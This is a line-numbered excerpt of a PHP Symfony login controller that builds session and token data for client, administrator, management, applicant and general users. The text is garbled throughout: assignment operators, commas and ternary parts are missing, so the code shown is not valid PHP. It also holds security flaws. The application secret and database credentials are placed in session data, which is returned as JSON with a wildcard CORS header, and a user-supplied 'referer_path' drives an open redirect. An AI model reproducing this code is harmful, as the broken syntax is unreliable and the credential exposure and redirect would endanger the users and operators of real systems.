  2570.                     $session_data $this->filterClientSessionData($session_data);
  2571.                     $session_data $this->filterClientSessionData($session_data);
  2572.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2573.                     $session_data $tokenData['sessionData'];
  2574.                     $token $tokenData['token'];
  2575.                     $session->set('token'$token);
  2576.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2577.                         $session->set('remoteVerified'1);
  2578.                         $response = new JsonResponse(array(
  2579.                             'uid' => $session->get(UserConstants::USER_ID),
  2580.                             'session' => $session,
  2581.                             'token' => $token,
  2582.                             'success' => true,
  2583.                             'session_data' => $session_data,
  2584.                         ));
  2585.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2586.                         return $response;
  2587.                     }
  2588.                     if ($request->request->has('referer_path')) {
  2589.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2590.                             return $this->redirect($request->request->get('referer_path'));
  2591.                         }
  2592.                     }
  2593.                     //                    if($request->request->has('gocId')
  2594.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2595.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2596.                     //                    else
  2597.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2598.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2599.                     // System administrator
  2600.                     // System administrator have successfully logged in. Lets add a login ID.
  2601.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2602.                         ->findOneBy(
  2603.                             array(
  2604.                                 'userId' => $user->getUserId()
  2605.                             )
  2606.                         );
  2607.                     if ($employeeObj) {
  2608.                         $employeeId $employeeObj->getEmployeeId();
  2609.                         $epositionId $employeeObj->getPositionId();
  2610.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2611.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2612.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2613.                     }
  2614.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2615.                         ->findOneBy(
  2616.                             array(
  2617.                                 'userId' => $user->getUserId(),
  2618.                                 'workingStatus' => 1
  2619.                             )
  2620.                         );
  2621.                     if ($currentTask) {
  2622.                         $currentTaskId $currentTask->getId();
  2623.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2624.                     }
  2625.                     $userId $user->getUserId();
  2626.                     $userCompanyId 1;
  2627.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2628.                     $userEmail $user->getEmail();
  2629.                     $userImage $user->getImage();
  2630.                     $userFullName $user->getName();
  2631.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2632.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2633.                     $position_list_array json_decode($user->getPositionIds(), true);
  2634.                     if ($position_list_array == null$position_list_array = [];
  2635.                     $filtered_pos_array = [];
  2636.                     foreach ($position_list_array as $defPos)
  2637.                         if ($defPos != '' && $defPos != 0)
  2638.                             $filtered_pos_array[] = $defPos;
  2639.                     $position_list_array $filtered_pos_array;
  2640.                     if (!empty($position_list_array))
  2641.                         $curr_position_id $position_list_array[0];
  2642.                     $userDefaultRoute $user->getDefaultRoute();
  2643. //                    $userDefaultRoute = 'MATHA';
  2644.                     $allModuleAccessFlag 1;
  2645.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2646.                         $userDefaultRoute '';
  2647. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2648.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2649.                     if (isset($companyList[$userCompanyId])) {
  2650.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2651.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2652.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2653.                         $company_locale $companyList[$userCompanyId]['locale'];
  2654.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2655.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2656.                     }
  2657.                     if ($allModuleAccessFlag == 1)
  2658.                         $prohibit_list_array = [];
  2659.                     else if ($curr_position_id != 0)
  2660.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2661.                     $loginID $this->get('user_module')->addUserLoginLog(
  2662.                         $userId,
  2663.                         $request->server->get("REMOTE_ADDR"),
  2664.                         $curr_position_id
  2665.                     );
  2666.                     $appIdList json_decode($user->getUserAppIdList());
  2667.                     $branchIdList json_decode($user->getUserBranchIdList());
  2668.                     if ($branchIdList == null$branchIdList = [];
  2669.                     $branchId $user->getUserBranchId();
  2670.                     if ($appIdList == null$appIdList = [];
  2671. //
  2672. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2673. //                        $appIdList[] = $user->getUserAppId();
  2674. //
  2675. //                    foreach ($appIdList as $currAppId) {
  2676. //                        if ($currAppId == $user->getUserAppId()) {
  2677. //
  2678. //                            foreach ($company_id_list as $index_company => $company_id) {
  2679. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2680. //                                $app_company_index = $currAppId . '_' . $company_id;
  2681. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2682. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2683. //                            }
  2684. //                        } else {
  2685. //
  2686. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2687. //                                $this->getDoctrine()->getManager('company_group'),
  2688. //                                $gocEnabled,
  2689. //                                $currAppId
  2690. //                            );
  2691. //                            if (!empty($dataToConnect)) {
  2692. //                                $connector = $this->container->get('application_connector');
  2693. //                                $connector->resetConnection(
  2694. //                                    'default',
  2695. //                                    $dataToConnect['dbName'],
  2696. //                                    $dataToConnect['dbUser'],
  2697. //                                    $dataToConnect['dbPass'],
  2698. //                                    $dataToConnect['dbHost'],
  2699. //                                    $reset = true
  2700. //                                );
  2701. //                                $em = $this->getDoctrine()->getManager();
  2702. //
  2703. //                                $companyList = Company::getCompanyListWithImage($em);
  2704. //                                foreach ($companyList as $c => $dta) {
  2705. //                                    //                                $company_id_list[]=$c;
  2706. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2707. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2708. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2709. //                                    $app_company_index = $currAppId . '_' . $c;
  2710. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2711. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2712. //                                }
  2713. //                            }
  2714. //                        }
  2715. //                    }
  2716.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2717.                     // General User
  2718.                     $employeeId 0;
  2719.                     $currentMonthHolidayList = [];
  2720.                     $currentHolidayCalendarId 0;
  2721.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2722.                         ->findOneBy(
  2723.                             array(
  2724.                                 'userId' => $user->getUserId()
  2725.                             )
  2726.                         );
  2727.                     if ($employeeObj) {
  2728.                         $employeeId $employeeObj->getEmployeeId();
  2729.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2730.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2731.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2732.                     }
  2733.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2734.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2735.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2736.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2737.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2738.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2739.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2740.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2741.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2742.                     $session->set(UserConstants::USER_NAME$user->getName());
  2743.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2744.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2745.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2746.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2747.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2748.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2749.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2750.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2751.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2752.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2753.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2754.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2755.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2756.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2757.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2758.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2759.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2760.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2761.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2762.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2763.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2764.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2765.                         return $this->redirectToRoute("user_login_position");
  2766.                     } else {
  2767.                         $PL json_decode($user->getPositionIds(), true);
  2768.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2769.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2770.                         $loginID $this->get('user_module')->addUserLoginLog(
  2771.                             $session->get(UserConstants::USER_ID),
  2772.                             $request->server->get("REMOTE_ADDR"),
  2773.                             $PL[0]
  2774.                         );
  2775.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2776.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2777.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2778.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2779.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2780.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2781.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2782.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2783.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2784.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2785.                         $appIdList json_decode($user->getUserAppIdList());
  2786.                         if ($appIdList == null$appIdList = [];
  2787.                         $companyIdListByAppId = [];
  2788.                         $companyNameListByAppId = [];
  2789.                         $companyImageListByAppId = [];
  2790.                         if (!in_array($user->getUserAppId(), $appIdList))
  2791.                             $appIdList[] = $user->getUserAppId();
  2792.                         foreach ($appIdList as $currAppId) {
  2793.                             if ($currAppId == $user->getUserAppId()) {
  2794.                                 foreach ($company_id_list as $index_company => $company_id) {
  2795.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2796.                                     $app_company_index $currAppId '_' $company_id;
  2797.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2798.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2799.                                 }
  2800.                             } else {
  2801.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2802.                                     $this->getDoctrine()->getManager('company_group'),
  2803.                                     $gocEnabled,
  2804.                                     $currAppId
  2805.                                 );
  2806.                                 if (!empty($dataToConnect)) {
  2807.                                     $connector $this->container->get('application_connector');
  2808.                                     $connector->resetConnection(
  2809.                                         'default',
  2810.                                         $dataToConnect['dbName'],
  2811.                                         $dataToConnect['dbUser'],
  2812.                                         $dataToConnect['dbPass'],
  2813.                                         $dataToConnect['dbHost'],
  2814.                                         $reset true
  2815.                                     );
  2816.                                     $em $this->getDoctrine()->getManager();
  2817.                                     $companyList Company::getCompanyListWithImage($em);
  2818.                                     foreach ($companyList as $c => $dta) {
  2819.                                         //                                $company_id_list[]=$c;
  2820.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2821.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2822.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2823.                                         $app_company_index $currAppId '_' $c;
  2824.                                         $company_locale $companyList[$c]['locale'];
  2825.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2826.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2827.                                     }
  2828.                                 }
  2829.                             }
  2830.                         }
  2831.                         $session->set('appIdList'$appIdList);
  2832.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2833.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2834.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2835.                         $branchIdList json_decode($user->getUserBranchIdList());
  2836.                         $branchId $user->getUserBranchId();
  2837.                         $session->set('branchIdList'$branchIdList);
  2838.                         $session->set('branchId'$branchId);
  2839.                         if ($user->getAllModuleAccessFlag() == 1)
  2840.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2841.                         else
  2842.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2843.                         $session_data = array(
  2844.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2845.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2846.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2847.                             'oAuthToken' => $session->get('oAuthToken'),
  2848.                             'locale' => $session->get('locale'),
  2849.                             'firebaseToken' => $session->get('firebaseToken'),
  2850.                             'token' => $session->get('token'),
  2851.                             'firstLogin' => $firstLogin,
  2852.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2853.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2854.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2855.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2856.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2857.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2858.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2859.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2860.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2861.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2862.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2863.                             'oAuthImage' => $session->get('oAuthImage'),
  2864.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2865.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2866.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2867.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2868.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2869.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2870.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2871.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2872.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2873.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2874.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2875.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2876.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2877.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2878.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2879.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2880.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2881.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2882.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2883.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2884.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2885.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2886.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2887.                             //new
  2888.                             'appIdList' => $session->get('appIdList'),
  2889.                             'branchIdList' => $session->get('branchIdList'null),
  2890.                             'branchId' => $session->get('branchId'null),
  2891.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2892.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2893.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2894.                         );
  2895.                         $session_data $this->filterClientSessionData($session_data);
  2896.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2897.                         $session_data $tokenData['sessionData'];
  2898.                         $token $tokenData['token'];
  2899.                         $session->set('token'$token);
  2900.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2901.                             $session->set('remoteVerified'1);
  2902.                             $response = new JsonResponse(array(
  2903.                                 'uid' => $session->get(UserConstants::USER_ID),
  2904.                                 'session' => $session,
  2905.                                 'token' => $token,
  2906.                                 'success' => true,
  2907.                                 'session_data' => $session_data,
  2908.                             ));
  2909.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2910.                             return $response;
  2911.                         }
  2912.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2913.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2914.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2915.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2916.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2917.                                     return $this->redirect($red);
  2918.                                 }
  2919.                             } else {
  2920.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2921.                             }
  2922.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2923.                             return $this->redirectToRoute("dashboard");
  2924.                         else
  2925.                             return $this->redirectToRoute($user->getDefaultRoute());
  2926. //                        if ($request->server->has("HTTP_REFERER")) {
  2927. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2928. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2929. //                            }
  2930. //                        }
  2931. //
  2932. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2933. //                        if ($request->request->has('referer_path')) {
  2934. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2935. //                                return $this->redirect($request->request->get('referer_path'));
  2936. //                            }
  2937. //                        }
  2938. //                        //                    if($request->request->has('gocId')
  2939. //
  2940. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2941. //                            return $this->redirectToRoute("dashboard");
  2942. //                        else
  2943. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2944.                     }
  2945.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2946.                     $applicantId $user->getApplicantId();
  2947.                     $userId $user->getApplicantId();
  2948.                     $globalId $user->getApplicantId();
  2949.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2950.                     $isConsultant $user->getIsConsultant() == 0;
  2951.                     $isRetailer $user->getIsRetailer() == 0;
  2952.                     $retailerLevel $user->getRetailerLevel() == 0;
  2953.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2954.                     $isModerator $user->getIsModerator() == 0;
  2955.                     $isAdmin $user->getIsAdmin() == 0;
  2956.                     $userEmail $user->getOauthEmail();
  2957.                     $userImage $user->getImage();
  2958.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2959.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2960.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2961.                     $buddybeeBalance $user->getAccountBalance();
  2962.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2963.                     $userDefaultRoute 'applicant_dashboard';
  2964. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2965.                     $userAppIds = [];
  2966.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2967.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2968.                     if ($userAppIds == null$userAppIds = [];
  2969.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2970.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2971.                     foreach ($userTypesByAppIds as $aid => $accData)
  2972.                         if (in_array($aid$userSuspendedAppIds))
  2973.                             unset($userTypesByAppIds[$aid]);
  2974.                         else
  2975.                             $userAppIds[] = $aid;
  2976. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2977.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2978.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2979.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2980.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2981.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2982.                     $loginID MiscActions::addEntityUserLoginLog(
  2983.                         $em_goc,
  2984.                         $userId,
  2985.                         $applicantId,
  2986.                         1,
  2987.                         $request->server->get("REMOTE_ADDR"),
  2988.                         0,
  2989.                         $request->request->get('deviceId'''),
  2990.                         $request->request->get('oAuthToken'''),
  2991.                         $request->request->get('oAuthType'''),
  2992.                         $request->request->get('locale'''),
  2993.                         $request->request->get('firebaseToken''')
  2994.                     );
  2995.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2996.                     // General User
  2997.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2998.                         ->findOneBy(
  2999.                             array(
  3000.                                 'userId' => $user->getUserId()
  3001.                             )
  3002.                         );
  3003.                     if ($employeeObj) {
  3004.                         $employeeId $employeeObj->getEmployeeId();
  3005.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  3006.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  3007.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  3008.                     }
  3009.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  3010.                         ->findOneBy(
  3011.                             array(
  3012.                                 'userId' => $user->getUserId(),
  3013.                                 'workingStatus' => 1
  3014.                             )
  3015.                         );
  3016.                     if ($currentTask) {
  3017.                         $currentTaskId $currentTask->getId();
  3018.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  3019.                     }
  3020.                     $userId $user->getUserId();
  3021.                     $userCompanyId 1;
  3022.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  3023.                     $userEmail $user->getEmail();
  3024.                     $userImage $user->getImage();
  3025.                     $userFullName $user->getName();
  3026.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3027.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3028.                     $position_list_array json_decode($user->getPositionIds(), true);
  3029.                     if ($position_list_array == null$position_list_array = [];
  3030.                     $filtered_pos_array = [];
  3031.                     foreach ($position_list_array as $defPos)
  3032.                         if ($defPos != '' && $defPos != 0)
  3033.                             $filtered_pos_array[] = $defPos;
  3034.                     $position_list_array $filtered_pos_array;
  3035.                     if (!empty($position_list_array))
  3036.                         foreach ($position_list_array as $defPos)
  3037.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3038.                                 $curr_position_id $defPos;
  3039.                             }
  3040.                     $userDefaultRoute $user->getDefaultRoute();
  3041.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3042.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3043.                         $userDefaultRoute 'user_default_page';
  3044.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3045.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3046.                     if (isset($companyList[$userCompanyId])) {
  3047.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3048.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3049.                         $company_locale $companyList[$userCompanyId]['locale'];
  3050.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3051.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3052.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3053.                     }
  3054.                     if ($allModuleAccessFlag == 1)
  3055.                         $prohibit_list_array = [];
  3056.                     else
  3057.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3058.                     $loginID $this->get('user_module')->addUserLoginLog(
  3059.                         $userId,
  3060.                         $request->server->get("REMOTE_ADDR"),
  3061.                         $curr_position_id
  3062.                     );
  3063.                     $appIdList json_decode($user->getUserAppIdList());
  3064.                     $branchIdList json_decode($user->getUserBranchIdList());
  3065.                     if ($branchIdList == null$branchIdList = [];
  3066.                     $branchId $user->getUserBranchId();
  3067.                     if ($appIdList == null$appIdList = [];
  3068.                     if (!in_array($user->getUserAppId(), $appIdList))
  3069.                         $appIdList[] = $user->getUserAppId();
  3070.                     foreach ($appIdList as $currAppId) {
  3071.                         if ($currAppId == $user->getUserAppId()) {
  3072.                             foreach ($company_id_list as $index_company => $company_id) {
  3073.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3074.                                 $app_company_index $currAppId '_' $company_id;
  3075.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3076.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3077.                             }
  3078.                         } else {
  3079.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3080.                                 $this->getDoctrine()->getManager('company_group'),
  3081.                                 $gocEnabled,
  3082.                                 $currAppId
  3083.                             );
  3084.                             if (!empty($dataToConnect)) {
  3085.                                 $connector $this->container->get('application_connector');
  3086.                                 $connector->resetConnection(
  3087.                                     'default',
  3088.                                     $dataToConnect['dbName'],
  3089.                                     $dataToConnect['dbUser'],
  3090.                                     $dataToConnect['dbPass'],
  3091.                                     $dataToConnect['dbHost'],
  3092.                                     $reset true
  3093.                                 );
  3094.                                 $em $this->getDoctrine()->getManager();
  3095.                                 $companyList Company::getCompanyListWithImage($em);
  3096.                                 foreach ($companyList as $c => $dta) {
  3097.                                     //                                $company_id_list[]=$c;
